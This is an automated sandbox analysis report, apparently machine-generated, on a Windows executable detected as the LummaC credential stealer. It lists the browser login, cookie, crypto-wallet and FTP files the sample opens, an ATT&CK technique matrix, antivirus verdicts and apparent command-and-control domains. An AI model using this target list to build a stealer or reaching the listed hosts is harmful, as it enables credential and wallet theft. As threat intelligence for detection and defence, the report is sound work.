Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior

Source: Yara match

File source: Process Memory Space: O53VxanH6A.exe PID: 3664, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: O53VxanH6A.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
O53VxanH6A.exe	61%	ReversingLabs	Win32.Infostealer.Tinba
O53VxanH6A.exe	100%	Avira	TR/Crypt.TPM.Gen
O53VxanH6A.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/9xt	0%	Avira URL Cloud	safe
https://mindhandru.buzz/lV	100%	Avira URL Cloud	malware
https://mindhandru.buzz/1r	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apis/	100%	Avira URL Cloud	malware
https://mindhandru.buzz/Ky	100%	Avira URL Cloud	malware
https://mindhandru.buzz/3P	100%	Avira URL Cloud	malware
https://mindhandru.buzz/t	100%	Avira URL Cloud	malware
https://mindhandru.buzz/k	100%	Avira URL Cloud	malware
https://mindhandru.buzz/EDRHVD	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apix	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ws	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	172.67.165.185	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_91.12.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
